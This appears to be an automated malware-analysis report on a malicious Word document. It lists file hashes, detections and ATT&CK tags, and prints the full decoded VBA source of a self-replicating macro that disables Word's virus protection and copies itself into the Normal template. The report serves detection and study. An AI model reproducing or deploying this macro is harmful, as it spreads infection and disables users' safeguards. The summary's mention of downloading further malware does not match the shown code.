Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bcef3ea1d246e5e9…

MALICIOUS

Office (OLE)

47.0 KB Created: 2018-01-23 07:46:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: e1086975c157d3b6b64f952d461df49a SHA-1: 1a62a438e0869f311dbbe96858b9e5e358581e52 SHA-256: bcef3ea1d246e5e9f76af750f649d4975310fe156e6e7c25a84bb1fb5626d012
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro designed to execute code upon opening. The macro attempts to overwrite itself and execute embedded code, a common technique for downloading and running additional malware. The presence of the Document_Open macro and the VBA code strongly suggests a macro-based attack vector.

Heuristics 4

  • ClamAV: Doc.Macro.APMPKILL-6097118-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.APMPKILL-6097118-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1027 bytes
SHA-256: f136142b40965ce41763caed3acb0ccab48ef04e860145c7f9d9ef01967df9ba
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'APMP
'KILL
Private Sub Document_Open()
   On Error Resume Next
   Application.DisplayStatusBar = False
   Options.VirusProtection = False
   Options.SaveNormalPrompt = False
   MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 20)
   Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule
   If ThisDocument = NormalTemplate Then _
      Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
   With Host
       If .Lines(1, 1) = "APMP" & .Lines(1, 2) <> "KILL" Then
          .DeleteLines 1, .CountOfLines
          .InsertLines 1, MyCode
          If ThisDocument = NormalTemplate Then _
             ActiveDocument.SaveAs ActiveDocument.FullName
       End If
   End With
End Sub